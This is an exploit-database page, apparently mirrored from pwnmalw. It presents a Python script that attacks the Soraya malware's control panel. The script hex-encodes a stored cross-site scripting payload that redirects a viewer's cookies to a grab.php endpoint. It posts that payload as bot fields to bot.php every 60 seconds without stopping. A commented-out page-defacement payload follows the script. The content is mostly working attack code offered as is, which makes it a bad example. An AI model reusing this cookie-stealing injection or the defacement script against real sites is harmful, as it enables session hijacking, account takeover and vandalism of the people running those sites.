Lucene search
K

Malware exploit: Soraya

🗓️ 14 Jan 2017 00:00:00Reported by XylitolType 
pwnmalw
 pwnmalw
🔗 www.pwnmalw.re👁 517 Views

Malware exploit: Soraya, using HTML injection to send cookies to a remote server

Code
<code>import requests
import time

def StrToHex(string):
    hex_str=''
    for char in string:
        int_char = ord(char)
        hex_num = hex(int_char).lstrip("0x")
        hex_str+=hex_num
    return hex_str

ConnectUrl = 'http://localhost/something/bot.php'
UserString = 'rome0321'
HtmlInject = StrToHex("&lt;script&gt;document.location=\"http://localhost/grab.php?\"+document.cookie&lt;/script&gt;")
count = 0

PostData = {'mode':'1', 'uid':'ASS', 'osname':HtmlInject, 'compname':HtmlInject}
UserAgent = {'User-agent': UserString}

while True:
    count = count + 1
    print "The fire day - ", count
    requests.post(ConnectUrl, data=PostData, headers=UserAgent)
    time.sleep(60)

#&lt;script&gt;document.body.innerHTML="&lt;style&gt;body{visibility:hidden;}&lt;/style&gt;&lt;div style=visibility:visible;&gt;&lt;h1&gt;HAXED&lt;/h1&gt;&lt;/div&gt;";&lt;/script&gt;
</code>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Jan 2017 00:00Current
0.7Low risk
Vulners AI Score0.7
517